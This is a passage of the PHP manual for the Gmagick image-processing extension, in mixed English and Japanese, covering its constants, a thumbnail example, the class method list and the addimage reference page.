Gmagick::COMPOSITE_COPYBLACK (int)
Copies black from the source to target
Gmagick::COMPOSITE_COPYBLUE (int)
Copies blue from the source to target
Gmagick::COMPOSITE_COPY (int)
Copies the source image on the target image
Gmagick::COMPOSITE_COPYCYAN (int)
Copies cyan from the source to target
Gmagick::COMPOSITE_COPYGREEN (int)
Copies green from the source to target
Gmagick::COMPOSITE_COPYMAGENTA (int)
Copies magenta from the source to target
Gmagick::COMPOSITE_COPYOPACITY (int)
Copies opacity from the source to target
Gmagick::COMPOSITE_COPYRED (int)
Copies red from the source to target
Gmagick::COMPOSITE_COPYYELLOW (int)
Copies yellow from the source to target
Gmagick::COMPOSITE_DARKEN (int)
Darkens the target image
Gmagick::COMPOSITE_DSTATOP (int)
The part of the destination lying inside of the source is composited over the source and replaces the destination
Gmagick::COMPOSITE_DST (int)
The target is left untouched
Gmagick::COMPOSITE_DSTIN (int)
The parts inside the source replace the target
Gmagick::COMPOSITE_DSTOUT (int)
The parts outside the source replace the target
Gmagick::COMPOSITE_DSTOVER (int)
Target replaces the source
Gmagick::COMPOSITE_DIFFERENCE (int)
Subtracts the darker of the two constituent colors from the lighter
Gmagick::COMPOSITE_DISPLACE (int)
Shifts target image pixels as defined by the source
Gmagick::COMPOSITE_DISSOLVE (int)
Dissolves the source in to the target
Gmagick::COMPOSITE_EXCLUSION (int)
Produces an effect similar to that of Gmagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
Gmagick::COMPOSITE_HARDLIGHT (int)
Multiplies or screens the colors, dependent on the source color value
Gmagick::COMPOSITE_HUE (int)
Modifies the hue of the target as defined by source
Gmagick::COMPOSITE_IN (int)
Composites source into the target
Gmagick::COMPOSITE_LIGHTEN (int)
Lightens the target as defined by source
Gmagick::COMPOSITE_LUMINIZE (int)
Luminizes the target as defined by source
Gmagick::COMPOSITE_MINUS (int)
Subtracts the source from the target
Gmagick::COMPOSITE_MODULATE (int)
Modulates the target brightness, saturation and hue as defined by source
Gmagick::COMPOSITE_MULTIPLY (int)
Multiplies the target to the source
Gmagick::COMPOSITE_OUT (int)
Composites outer parts of the source on the target
Gmagick::COMPOSITE_OVER (int)
Composites source over the target
Gmagick::COMPOSITE_OVERLAY (int)
Overlays the source on the target
Gmagick::COMPOSITE_PLUS (int)
Adds the source to the target
Gmagick::COMPOSITE_REPLACE (int)
Replaces the target with the source
Gmagick::COMPOSITE_SATURATE (int)
Saturates the target as defined by the source
Gmagick::COMPOSITE_SCREEN (int)
The source and destination are complemented and then multiplied and then replace the destination
Gmagick::COMPOSITE_SOFTLIGHT (int)
Darkens or lightens the colors, dependent on the source
Gmagick::COMPOSITE_SRCATOP (int)
The part of the source lying inside of the destination is composited onto the destination
Gmagick::COMPOSITE_SRC (int)
The source is copied to the destination
Gmagick::COMPOSITE_SRCIN (int)
The part of the source lying inside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOUT (int)
The part of the source lying outside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOVER (int)
The source replaces the destination
Gmagick::COMPOSITE_SUBTRACT (int)
Subtract the colors in the source image from the destination image
Gmagick::COMPOSITE_THRESHOLD (int)
The source is composited on the target as defined by source threshold
Gmagick::COMPOSITE_XOR (int)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
Montage Mode constants
Gmagick::MONTAGEMODE_FRAME (int)
Gmagick::MONTAGEMODE_UNFRAME (int)
Gmagick::MONTAGEMODE_CONCATENATE (int)
Style constants
Gmagick::STYLE_NORMAL (int)
Gmagick::STYLE_ITALIC (int)
Gmagick::STYLE_OBLIQUE (int)
Gmagick::STYLE_ANY (int)
Filter constants
Gmagick::FILTER_UNDEFINED (int)
Gmagick::FILTER_POINT (int)
Gmagick::FILTER_BOX (int)
Gmagick::FILTER_TRIANGLE (int)
Gmagick::FILTER_HERMITE (int)
Gmagick::FILTER_HANNING (int)
Gmagick::FILTER_HAMMING (int)
Gmagick::FILTER_BLACKMAN (int)
Gmagick::FILTER_GAUSSIAN (int)
Gmagick::FILTER_QUADRATIC (int)
Gmagick::FILTER_CUBIC (int)
Gmagick::FILTER_CATROM (int)
Gmagick::FILTER_MITCHELL (int)
Gmagick::FILTER_LANCZOS (int)
Gmagick::FILTER_BESSEL (int)
Gmagick::FILTER_SINC (int)
Image type constants
Gmagick::IMGTYPE_UNDEFINED (int)
Gmagick::IMGTYPE_BILEVEL (int)
Gmagick::IMGTYPE_GRAYSCALE (int)
Gmagick::IMGTYPE_GRAYSCALEMATTE (int)
Gmagick::IMGTYPE_PALETTE (int)
Gmagick::IMGTYPE_PALETTEMATTE (int)
Gmagick::IMGTYPE_TRUECOLOR (int)
Gmagick::IMGTYPE_TRUECOLORMATTE (int)
Gmagick::IMGTYPE_COLORSEPARATION (int)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (int)
Gmagick::IMGTYPE_OPTIMIZE (int)
Resolution constants
Gmagick::RESOLUTION_UNDEFINED (int)
Gmagick::RESOLUTION_PIXELSPERINCH (int)
Gmagick::RESOLUTION_PIXELSPERCENTIMETER (int)
Compression constants
Gmagick::COMPRESSION_UNDEFINED (int)
Gmagick::COMPRESSION_NO (int)
Gmagick::COMPRESSION_BZIP (int)
Gmagick::COMPRESSION_FAX (int)
Gmagick::COMPRESSION_GROUP4 (int)
Gmagick::COMPRESSION_JPEG (int)
Gmagick::COMPRESSION_JPEG2000 (int)
Gmagick::COMPRESSION_LOSSLESSJPEG (int)
Gmagick::COMPRESSION_LZW (int)
Gmagick::COMPRESSION_RLE (int)
Gmagick::COMPRESSION_ZIP (int)
Paint constants
Gmagick::PAINT_POINT (int)
Gmagick::PAINT_REPLACE (int)
Gmagick::PAINT_FLOODFILL (int)
Gmagick::PAINT_FILLTOBORDER (int)
Gmagick::PAINT_RESET (int)
Gravity constants
Gmagick::GRAVITY_NORTHWEST (int)
Gmagick::GRAVITY_NORTH (int)
Gmagick::GRAVITY_NORTHEAST (int)
Gmagick::GRAVITY_WEST (int)
Gmagick::GRAVITY_CENTER (int)
Gmagick::GRAVITY_EAST (int)
Gmagick::GRAVITY_SOUTHWEST (int)
Gmagick::GRAVITY_SOUTH (int)
Gmagick::GRAVITY_SOUTHEAST (int)
Stretch constants
Gmagick::STRETCH_NORMAL (int)
Gmagick::STRETCH_ULTRACONDENSED (int)
Gmagick::STRETCH_CONDENSED (int)
Gmagick::STRETCH_SEMICONDENSED (int)
Gmagick::STRETCH_SEMIEXPANDED (int)
Gmagick::STRETCH_EXPANDED (int)
Gmagick::STRETCH_EXTRAEXPANDED (int)
Gmagick::STRETCH_ULTRAEXPANDED (int)
Gmagick::STRETCH_ANY (int)
Align constants
Gmagick::ALIGN_UNDEFINED (int)
Gmagick::ALIGN_LEFT (int)
Gmagick::ALIGN_CENTER (int)
Gmagick::ALIGN_RIGHT (int)
Decoration constants
Gmagick::DECORATION_NO (int)
Gmagick::DECORATION_UNDERLINE (int)
Gmagick::DECORATION_OVERLINE (int)
Gmagick::DECORATION_LINETROUGH (int)
Noise constants
Gmagick::NOISE_UNIFORM (int)
Gmagick::NOISE_GAUSSIAN (int)
Gmagick::NOISE_MULTIPLICATIVEGAUSSIAN (int)
Gmagick::NOISE_IMPULSE (int)
Gmagick::NOISE_LAPLACIAN (int)
Gmagick::NOISE_POISSON (int)
Channel constants
Gmagick::CHANNEL_UNDEFINED (int)
Gmagick::CHANNEL_RED (int)
Gmagick::CHANNEL_GRAY (int)
Gmagick::CHANNEL_CYAN (int)
Gmagick::CHANNEL_GREEN (int)
Gmagick::CHANNEL_MAGENTA (int)
Gmagick::CHANNEL_BLUE (int)
Gmagick::CHANNEL_YELLOW (int)
Gmagick::CHANNEL_ALPHA (int)
Gmagick::CHANNEL_OPACITY (int)
Gmagick::CHANNEL_MATTE (int)
Gmagick::CHANNEL_BLACK (int)
Gmagick::CHANNEL_INDEX (int)
Gmagick::CHANNEL_ALL (int)
Metric constants
Gmagick::METRIC_UNDEFINED (int)
Gmagick::METRIC_MEANABSOLUTEERROR (int)
Gmagick::METRIC_MEANSQUAREERROR (int)
Gmagick::METRIC_PEAKABSOLUTEERROR (int)
Gmagick::METRIC_PEAKSIGNALTONOISERATIO (int)
Gmagick::METRIC_ROOTMEANSQUAREDERROR (int)
Pixel constants
Gmagick::PIXEL_CHAR (int)
Gmagick::PIXEL_DOUBLE (int)
Gmagick::PIXEL_FLOAT (int)
Gmagick::PIXEL_INTEGER (int)
Gmagick::PIXEL_LONG (int)
Gmagick::PIXEL_QUANTUM (int)
Gmagick::PIXEL_SHORT (int)
Colorspace constants
Gmagick::COLORSPACE_UNDEFINED (int)
Gmagick::COLORSPACE_RGB (int)
Gmagick::COLORSPACE_GRAY (int)
Gmagick::COLORSPACE_TRANSPARENT (int)
Gmagick::COLORSPACE_OHTA (int)
Gmagick::COLORSPACE_LAB (int)
Gmagick::COLORSPACE_XYZ (int)
Gmagick::COLORSPACE_YCBCR (int)
Gmagick::COLORSPACE_YCC (int)
Gmagick::COLORSPACE_YIQ (int)
Gmagick::COLORSPACE_YPBPR (int)
Gmagick::COLORSPACE_YUV (int)
Gmagick::COLORSPACE_CMYK (int)
Gmagick::COLORSPACE_SRGB (int)
Gmagick::COLORSPACE_HSB (int)
Gmagick::COLORSPACE_HSL (int)
Gmagick::COLORSPACE_HWB (int)
Gmagick::COLORSPACE_REC601LUMA (int)
Gmagick::COLORSPACE_REC709LUMA (int)
Gmagick::COLORSPACE_LOG (int)
Virtual Pixel Method constants
Gmagick::VIRTUALPIXELMETHOD_UNDEFINED (int)
Gmagick::VIRTUALPIXELMETHOD_BACKGROUND (int)
Gmagick::VIRTUALPIXELMETHOD_CONSTANT (int)
Gmagick::VIRTUALPIXELMETHOD_EDGE (int)
Gmagick::VIRTUALPIXELMETHOD_MIRROR (int)
Gmagick::VIRTUALPIXELMETHOD_TILE (int)
Gmagick::VIRTUALPIXELMETHOD_TRANSPARENT (int)
Preview constants
Gmagick::PREVIEW_UNDEFINED (int)
Gmagick::PREVIEW_ROTATE (int)
Gmagick::PREVIEW_SHEAR (int)
Gmagick::PREVIEW_ROLL (int)
Gmagick::PREVIEW_HUE (int)
Gmagick::PREVIEW_SATURATION (int)
Gmagick::PREVIEW_BRIGHTNESS (int)
Gmagick::PREVIEW_GAMMA (int)
Gmagick::PREVIEW_SPIFF (int)
Gmagick::PREVIEW_DULL (int)
Gmagick::PREVIEW_GRAYSCALE (int)
Gmagick::PREVIEW_QUANTIZE (int)
Gmagick::PREVIEW_DESPECKLE (int)
Gmagick::PREVIEW_REDUCENOISE (int)
Gmagick::PREVIEW_ADDNOISE (int)
Gmagick::PREVIEW_SHARPEN (int)
Gmagick::PREVIEW_BLUR (int)
Gmagick::PREVIEW_THRESHOLD (int)
Gmagick::PREVIEW_EDGEDETECT (int)
Gmagick::PREVIEW_SPREAD (int)
Gmagick::PREVIEW_SOLARIZE (int)
Gmagick::PREVIEW_SHADE (int)
Gmagick::PREVIEW_RAISE (int)
Gmagick::PREVIEW_SEGMENT (int)
Gmagick::PREVIEW_SWIRL (int)
Gmagick::PREVIEW_IMPLODE (int)
Gmagick::PREVIEW_WAVE (int)
Gmagick::PREVIEW_OILPAINT (int)
Gmagick::PREVIEW_CHARCOALDRAWING (int)
Gmagick::PREVIEW_JPEG (int)
Rendering Intent constants
Gmagick::RENDERINGINTENT_UNDEFINED (int)
Gmagick::RENDERINGINTENT_SATURATION (int)
Gmagick::RENDERINGINTENT_PERCEPTUAL (int)
Gmagick::RENDERINGINTENT_ABSOLUTE (int)
Gmagick::RENDERINGINTENT_RELATIVE (int)
Fillrule constants
Gmagick::FILLRULE_UNDEFINED (int)
Gmagick::FILLRULE_EVENODD (int)
Gmagick::FILLRULE_NONZERO (int)
Pathunit constants
Gmagick::PATHUNITS_UNDEFINED (int)
Gmagick::PATHUNITS_USERSPACE (int)
Gmagick::PATHUNITS_USERSPACEONUSE (int)
Gmagick::PATHUNITS_OBJECTBOUNDINGBOX (int)
Linecap constants
Gmagick::LINECAP_UNDEFINED (int)
Gmagick::LINECAP_BUTT (int)
Gmagick::LINECAP_ROUND (int)
Gmagick::LINECAP_SQUARE (int)
Line Join constants
Gmagick::LINEJOIN_UNDEFINED (int)
Gmagick::LINEJOIN_MITER (int)
Gmagick::LINEJOIN_ROUND (int)
Gmagick::LINEJOIN_BEVEL (int)
Resourcetype constants
Gmagick::RESOURCETYPE_UNDEFINED (int)
Gmagick::RESOURCETYPE_AREA (int)
Gmagick::RESOURCETYPE_DISK (int)
Gmagick::RESOURCETYPE_FILE (int)
Gmagick::RESOURCETYPE_MAP (int)
Gmagick::RESOURCETYPE_MEMORY (int)
Orientation constants
Gmagick::ORIENTATION_UNDEFINED (int)
Gmagick::ORIENTATION_TOPLEFT (int)
Gmagick::ORIENTATION_TOPRIGHT (int)
Gmagick::ORIENTATION_BOTTOMRIGHT (int)
Gmagick::ORIENTATION_BOTTOMLEFT (int)
Gmagick::ORIENTATION_LEFTTOP (int)
Gmagick::ORIENTATION_RIGHTTOP (int)
Gmagick::ORIENTATION_RIGHTBOTTOM (int)
Gmagick::ORIENTATION_LEFTBOTTOM (int)

User Contributed Notes

There are no user contributed notes for this page.


例

次の例は、Gmagick での一般的な画像操作の方法を示すものです。

例1 Gmagick の例

<?php
// 新しい Gmagick オブジェクトのインスタンスを作成します
$image = new Gmagick('example.jpg');

// 読み込んだ画像のサムネイルを作成します。どちらかの軸に 0 を指定すると、アスペクト比を維持します
$image->thumbnailimage(100, 0);

// 画像の周りに枠をつけ、油彩風に見えるようにします
// このように、Gmagick ではメソッドの連結に対応していることに注意しましょう
$image->borderimage("yellow", 8, 8)->oilpaintimage(0.3);

// 現在の画像をファイルに書き込みます
$image->write('example_thumbnail.jpg');
?>

User Contributed Notes

There are no user contributed notes for this page.


Gmagick クラス

(PECL gmagick >= Unknown)

はじめに

クラス概要

Gmagick {
/* メソッド */
public addimage ( Gmagick $source ) : Gmagick
public addnoiseimage ( int $noise_type ) : Gmagick
public annotateimage ( GmagickDraw $GmagickDraw , float $x , float $y , float $angle , string $text ) : Gmagick
public blurimage ( float $radius , float $sigma , int $channel = ? ) : Gmagick
public borderimage ( GmagickPixel $color , int $width , int $height ) : Gmagick
public charcoalimage ( float $radius , float $sigma ) : Gmagick
public chopimage ( int $width , int $height , int $x , int $y ) : Gmagick
public clear ( ) : Gmagick
public commentimage ( string $comment ) : Gmagick
public compositeimage ( Gmagick $source , int $COMPOSE , int $x , int $y ) : Gmagick
public __construct ( string $filename = ? )
public cropimage ( int $width , int $height , int $x , int $y ) : Gmagick
public cropthumbnailimage ( int $width , int $height ) : Gmagick
public current ( ) : Gmagick
public cyclecolormapimage ( int $displace ) : Gmagick
public deconstructimages ( ) : Gmagick
public despeckleimage ( ) : Gmagick
public destroy ( ) : bool
public drawimage ( GmagickDraw $GmagickDraw ) : Gmagick
public edgeimage ( float $radius ) : Gmagick
public embossimage ( float $radius , float $sigma ) : Gmagick
public enhanceimage ( ) : Gmagick
public equalizeimage ( ) : Gmagick
public flipimage ( ) : Gmagick
public flopimage ( ) : Gmagick
public frameimage ( GmagickPixel $color , int $width , int $height , int $inner_bevel , int $outer_bevel ) : Gmagick
public gammaimage ( float $gamma ) : Gmagick
public getcopyright ( ) : string
public getfilename ( ) : string
public getimagebackgroundcolor ( ) : GmagickPixel
public getimageblueprimary ( ) : array
public getimagebordercolor ( ) : GmagickPixel
public getimagechanneldepth ( int $channel_type ) : int
public getimagecolors ( ) : int
public getimagecolorspace ( ) : int
public getimagecompose ( ) : int
public getimagedelay ( ) : int
public getimagedepth ( ) : int
public getimagedispose ( ) : int
public getimageextrema ( ) : array
public getimagefilename ( ) : string
public getimageformat ( ) : string
public getimagegamma ( ) : float
public getimagegreenprimary ( ) : array
public getimageheight ( ) : int
public getimagehistogram ( ) : array
public getimageindex ( ) : int
public getimageinterlacescheme ( ) : int
public getimageiterations ( ) : int
public getimagematte ( ) : int
public getimagemattecolor ( ) : GmagickPixel
public getimageprofile ( string $name ) : string
public getimageredprimary ( ) : array
public getimagerenderingintent ( ) : int
public getimageresolution ( ) : array
public getimagescene ( ) : int
public getimagesignature ( ) : string
public getimagetype ( ) : int
public getimageunits ( ) : int
public getimagewhitepoint ( ) : array
public getimagewidth ( ) : int
public getpackagename ( ) : string
public getquantumdepth ( ) : array
public getreleasedate ( ) : string
public getsamplingfactors ( ) : array
public getsize ( ) : array
public getversion ( ) : array
public hasnextimage ( ) : mixed
public haspreviousimage ( ) : mixed
public implodeimage ( float $radius ) : mixed
public labelimage ( string $label ) : mixed
public levelimage ( float $blackPoint , float $gamma , float $whitePoint , int $channel = Gmagick::CHANNEL_DEFAULT ) : mixed
public magnifyimage ( ) : mixed
public mapimage ( gmagick $gmagick , bool $dither ) : Gmagick
public medianfilterimage ( float $radius ) : void
public minifyimage ( ) : Gmagick
public modulateimage ( float $brightness , float $saturation , float $hue ) : Gmagick
public motionblurimage ( float $radius , float $sigma , float $angle ) : Gmagick
public newimage ( int $width , int $height , string $background , string $format = ? ) : Gmagick
public nextimage ( ) : bool
public normalizeimage ( int $channel = ? ) : Gmagick
public oilpaintimage ( float $radius ) : Gmagick
public previousimage ( ) : bool
public profileimage ( string $name , string $profile ) : Gmagick
public quantizeimage ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError ) : Gmagick
public quantizeimages ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError ) : Gmagick
public queryfontmetrics ( GmagickDraw $draw , string $text ) : array
public queryfonts ( string $pattern = "*" ) : array
public queryformats ( string $pattern = "*" ) : array
public radialblurimage ( float $angle , int $channel = Gmagick::CHANNEL_DEFAULT ) : Gmagick
public raiseimage ( int $width , int $height , int $x , int $y , bool $raise ) : Gmagick
public read ( string $filename ) : Gmagick
public readimage ( string $filename ) : Gmagick
public readimageblob ( string $imageContents , string $filename = ? ) : Gmagick
public readimagefile ( resource $fp , string $filename = ? ) : Gmagick
public reducenoiseimage ( float $radius ) : Gmagick
public removeimage ( ) : Gmagick
public removeimageprofile ( string $name ) : string
public resampleimage ( float $xResolution , float $yResolution , int $filter , float $blur ) : Gmagick
public resizeimage ( int $width , int $height , int $filter , float $blur , bool $fit = false ) : Gmagick
public rollimage ( int $x , int $y ) : Gmagick
public rotateimage ( mixed $color , float $degrees ) : Gmagick
public scaleimage ( int $width , int $height , bool $fit = false ) : Gmagick
public separateimagechannel ( int $channel ) : Gmagick
setCompressionQuality ( int $quality = 75 ) : Gmagick
public setfilename ( string $filename ) : Gmagick
public setimagebackgroundcolor ( GmagickPixel $color ) : Gmagick
public setimageblueprimary ( float $x , float $y ) : Gmagick
public setimagebordercolor ( GmagickPixel $color ) : Gmagick
public setimagechanneldepth ( int $channel , int $depth ) : Gmagick
public setimagecolorspace ( int $colorspace ) : Gmagick
public setimagecompose ( int $composite ) : Gmagick
public setimagedelay ( int $delay ) : Gmagick
public setimagedepth ( int $depth ) : Gmagick
public setimagedispose ( int $disposeType ) : Gmagick
public setimagefilename ( string $filename ) : Gmagick
public setimageformat ( string $imageFormat ) : Gmagick
public setimagegamma ( float $gamma ) : Gmagick
public setimagegreenprimary ( float $x , float $y ) : Gmagick
public setimageindex ( int $index ) : Gmagick
public setimageinterlacescheme ( int $interlace ) : Gmagick
public setimageiterations ( int $iterations ) : Gmagick
public setimageprofile ( string $name , string $profile ) : Gmagick
public setimageredprimary ( float $x , float $y ) : Gmagick
public setimagerenderingintent ( int $rendering_intent ) : Gmagick
public setimageresolution ( float $xResolution , float $yResolution ) : Gmagick
public setimagescene ( int $scene ) : Gmagick
public setimagetype ( int $imgType ) : Gmagick
public setimageunits ( int $resolution ) : Gmagick
public setimagewhitepoint ( float $x , float $y ) : Gmagick
public setsamplingfactors ( array $factors ) : Gmagick
public setsize ( int $columns , int $rows ) : Gmagick
public shearimage ( mixed $color , float $xShear , float $yShear ) : Gmagick
public solarizeimage ( int $threshold ) : Gmagick
public spreadimage ( float $radius ) : Gmagick
public stripimage ( ) : Gmagick
public swirlimage ( float $degrees ) : Gmagick
public thumbnailimage ( int $width , int $height , bool $fit = false ) : Gmagick
public trimimage ( float $fuzz ) : Gmagick
public writeimage ( string $filename , bool $all_frames = false ) : Gmagick
}

目次

  • Gmagick::addimage — 新しい画像を Gmagick オブジェクトの画像リストに追加する
  • Gmagick::addnoiseimage — ランダムなノイズを画像に追加する
  • Gmagick::annotateimage — 画像にテキストによる注記を加える
  • Gmagick::blurimage — blur (にじみ) フィルタを画像に追加する
  • Gmagick::borderimage — 画像の周りを枠線で囲む
  • Gmagick::charcoalimage — 木炭画をシミュレートする
  • Gmagick::chopimage — 画像の一部を取り除き、切り詰める
  • Gmagick::clear — Gmagick オブジェクトに関連付けられたすべてのリソースをクリアする
  • Gmagick::commentimage — コメントを画像に追加する
  • Gmagick::compositeimage — ある画像を別の画像に合成する
  • Gmagick::__construct — Gmagick のコンストラクタ
  • Gmagick::cropimage — 画像の一部を抽出する
  • Gmagick::cropthumbnailimage — 切り取ってサムネイルを作成する
  • Gmagick::current — 現在の Gmagick オブジェクトへの参照を返す
  • Gmagick::cyclecolormapimage — 画像のカラーマップを移動する
  • Gmagick::deconstructimages — 画像間の特定のピクセルの差を返す
  • Gmagick::despeckleimage — 画像内のスペックルノイズを軽減する
  • Gmagick::destroy — Gmagick オブジェクトを破棄する
  • Gmagick::drawimage — 現在の画像上の GmagickDraw オブジェクトをレンダリングする
  • Gmagick::edgeimage — 画像の輪郭を強調する
  • Gmagick::embossimage — グレースケール画像に三次元効果を施して返す
  • Gmagick::enhanceimage — ノイジーな画像の品質を向上させる
  • Gmagick::equalizeimage — 画像ヒストグラムを均等化する
  • Gmagick::flipimage — 垂直方向に反転した画像を作成する
  • Gmagick::flopimage — 垂直方向に反転した画像を作成する
  • Gmagick::frameimage — 三次元の枠線をシミュレートする
  • Gmagick::gammaimage — 画像をガンマ補正する
  • Gmagick::getcopyright — GraphicsMagick API の著作権情報を文字列で返す
  • Gmagick::getfilename — 画像シーケンスに関連付けられたファイル名を取得する
  • Gmagick::getimagebackgroundcolor — 画像の背景色を返す
  • Gmagick::getimageblueprimary — 青が一番強い点を返す
  • Gmagick::getimagebordercolor — 画像の前景色を返す
  • Gmagick::getimagechanneldepth — 特定の画像チャネルの深度を返す
  • Gmagick::getimagecolors — 指定した色マップインデックスの色を返す
  • Gmagick::getimagecolorspace — 画像の色空間を取得する
  • Gmagick::getimagecompose — 画像の合成演算子を返す
  • Gmagick::getimagedelay — 画像の遅延を取得する
  • Gmagick::getimagedepth — 画像の深度を取得する
  • Gmagick::getimagedispose — 画像の配置方法を取得する
  • Gmagick::getimageextrema — 画像の極値を取得する
  • Gmagick::getimagefilename — シーケンス内の特定の画像のファイル名を返す
  • Gmagick::getimageformat — シーケンス内の特定の画像のフォーマットを返す
  • Gmagick::getimagegamma — 画像のガンマを取得する
  • Gmagick::getimagegreenprimary — 緑が一番強い点を返す
  • Gmagick::getimageheight — 画像の高さを返す
  • Gmagick::getimagehistogram — 画像のヒストグラムを取得する
  • Gmagick::getimageindex — 現在アクティブな画像のインデックスを取得する
  • Gmagick::getimageinterlacescheme — 画像のインターレース手法を取得する
  • Gmagick::getimageiterations — 画像の反復を取得する
  • Gmagick::getimagematte — 画像がマットチャネルを持っているかどうかを調べる
  • Gmagick::getimagemattecolor — 画像のマット色を返す
  • Gmagick::getimageprofile — 指定した名前の画像プロファイルを返す
  • Gmagick::getimageredprimary — 赤が一番強い点を返す
  • Gmagick::getimagerenderingintent — 画像のレンダリング方向を取得する
  • Gmagick::getimageresolution — 画像の X 方向と Y 方向の解像度を取得する
  • Gmagick::getimagescene — 画像のシーンを取得する
  • Gmagick::getimagesignature — SHA-256 メッセージダイジェストを生成する
  • Gmagick::getimagetype — 画像の型を取得する
  • Gmagick::getimageunits — 画像の解像度の単位を取得する
  • Gmagick::getimagewhitepoint — 色度が白い点を返す
  • Gmagick::getimagewidth — 画像の幅を返す
  • Gmagick::getpackagename — GraphicsMagick パッケージ名を返す
  • Gmagick::getquantumdepth — Gmagick quantum depth を返す
  • Gmagick::getreleasedate — GraphicsMagick のリリース日を返す
  • Gmagick::getsamplingfactors — 水平方向および垂直方向のサンプリング係数を取得する
  • Gmagick::getsize — Gmagick オブジェクトのサイズを取得する
  • Gmagick::getversion — GraphicsMagick API のバージョンを返す
  • Gmagick::hasnextimage — オブジェクトが次の画像を保持しているかどうかを調べる
  • Gmagick::haspreviousimage — オブジェクトが前の画像を保持しているかどうかを調べる
  • Gmagick::implodeimage — 新しい画像をコピーとして作成する
  • Gmagick::labelimage — ラベルを画像に追加する
  • Gmagick::levelimage — 画像のレベルを調節する
  • Gmagick::magnifyimage — 画像を二倍に比例拡大する
  • Gmagick::mapimage — 画像の色を、参照画像の中の最も近い色に置き換える
  • Gmagick::medianfilterimage — デジタルフィルタを適用する
  • Gmagick::minifyimage — 画像をその半分のサイズに比例縮小する
  • Gmagick::modulateimage — 明度、彩度、色相を制御する
  • Gmagick::motionblurimage — モーションブラーをシミュレートする
  • Gmagick::newimage — 新しい画像を作成する
  • Gmagick::nextimage — 次の画像に移動する
  • Gmagick::normalizeimage — カラー画像のコントラストを強調する
  • Gmagick::oilpaintimage — 油絵をシミュレートする
  • Gmagick::previousimage — オブジェクト内の前の画像に移動する
  • Gmagick::profileimage — 画像のプロファイルを追加あるいは削除する
  • Gmagick::quantizeimage — 参照画像内の色を解析する
  • Gmagick::quantizeimages — 画像シーケンス内の色を解析する
  • Gmagick::queryfontmetrics — フォントメトリクスを表す配列を返す
  • Gmagick::queryfonts — 設定したフォントを返す
  • Gmagick::queryformats — Gmagick がサポートするフォーマットを返す
  • Gmagick::radialblurimage — 画像にラジアルブラーを施す
  • Gmagick::raiseimage — 三次元のボタン風の効果をシミュレートする
  • Gmagick::read — ファイルから画像を読み込む
  • Gmagick::readimage — ファイルから画像を読み込む
  • Gmagick::readimageblob — バイナリ文字列から画像を読み込む
  • Gmagick::readimagefile — オープンしているファイルハンドルから画像を読み込む
  • Gmagick::reducenoiseimage — 画像の輪郭をなめらかにする
  • Gmagick::removeimage — 画像リストから画像を削除する
  • Gmagick::removeimageprofile — 指定した名前の画像プロファイルを削除して返す
  • Gmagick::resampleimage — 画像を指定した解像度にリサンプリングする
  • Gmagick::resizeimage — 画像のサイズを変更する
  • Gmagick::rollimage — 画像を補正する
  • Gmagick::rotateimage — 画像を回転する
  • Gmagick::scaleimage — 画像のサイズを変更する
  • Gmagick::separateimagechannel — 画像からチャネルを分離する
  • Gmagick::setCompressionQuality — オブジェクトのデフォルトの圧縮クオリティを設定する
  • Gmagick::setfilename — 画像を読み書きする前にファイル名を設定する
  • Gmagick::setimagebackgroundcolor — 画像の背景色を設定する
  • Gmagick::setimageblueprimary — 青が一番強い点を設定する
  • Gmagick::setimagebordercolor — 画像の枠線の色を設定する
  • Gmagick::setimagechanneldepth — 特定の画像チャネルの深度を設定する
  • Gmagick::setimagecolorspace — 画像の色空間を設定する
  • Gmagick::setimagecompose — 画像の合成演算子を設定する
  • Gmagick::setimagedelay — 画像の遅延を設定する
  • Gmagick::setimagedepth — 画像の深度を設定する
  • Gmagick::setimagedispose — 画像の配置方法を設定する
  • Gmagick::setimagefilename — シーケンス内の特定の画像のファイル名を設定する
  • Gmagick::setimageformat — 特定の画像のフォーマットを設定する
  • Gmagick::setimagegamma — 画像のガンマを設定する
  • Gmagick::setimagegreenprimary — 緑が一番強い点を設定する
  • Gmagick::setimageindex — 画像リスト内でのイテレータの位置を、index パラメータで指定した場所に設定する
  • Gmagick::setimageinterlacescheme — 画像のインターレース手法を設定する
  • Gmagick::setimageiterations — 画像の反復を設定する
  • Gmagick::setimageprofile — 指定した名前の画像プロファイルを Gmagick オブジェクトに追加する
  • Gmagick::setimageredprimary — 赤が一番強い点を設定する
  • Gmagick::setimagerenderingintent — 画像のレンダリング方向を設定する
  • Gmagick::setimageresolution — 画像の解像度を設定する
  • Gmagick::setimagescene — 画像のシーンを設定する
  • Gmagick::setimagetype — 画像の型を設定する
  • Gmagick::setimageunits — 画像の解像度の単位を設定する
  • Gmagick::setimagewhitepoint — 画像の色度が白い点を設定する
  • Gmagick::setsamplingfactors — 画像のサンプリング係数を設定する
  • Gmagick::setsize — Gmagick オブジェクトのサイズを設定する
  • Gmagick::shearimage — 平行四辺形を作成する
  • Gmagick::solarizeimage — 画像にソラリゼーション効果を適用する
  • Gmagick::spreadimage — ブロック内の各ピクセルをランダムに移動する
  • Gmagick::stripimage — 画像からすべてのプロパティやコメントを除去する
  • Gmagick::swirlimage — 画像の中心から、ピクセルを渦巻状にする
  • Gmagick::thumbnailimage — 画像のサイズを変更する
  • Gmagick::trimimage — 画像の輪郭を削除する
  • Gmagick::write — Gmagick::writeimage のエイリアス
  • Gmagick::writeimage — 画像を指定したファイル名で書き出す

User Contributed Notes

robert at cesaric dot com 24-Jun-2011 06:27
getNumberImages() isn't documented here but it is available.  You can look at ImageMagick documentation for use.


新しい画像を Gmagick オブジェクトの画像リストに追加する

  • ≪ Gmagick
  • Gmagick::addnoiseimage ≫
  • PHP Manual
  • Gmagick
  • 新しい画像を Gmagick オブジェクトの画像リストに追加する

Gmagick::addimage

(PECL gmagick >= Unknown)

Gmagick::addimage — 新しい画像を Gmagick オブジェクトの画像リストに追加する

説明

public Gmagick::addimage ( Gmagick $source ) : Gmagick

新しい画像を、ソースオブジェクトの現在位置から Gmagick オブジェクトに追加します。 この操作の後は、イテレータの位置がリストの末尾に移動します。

パラメータ

source

ソース Gmagick オブジェクト。

返り値

Gmagick オブジェクトに画像を追加して返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ランダムなノイズを画像に追加する

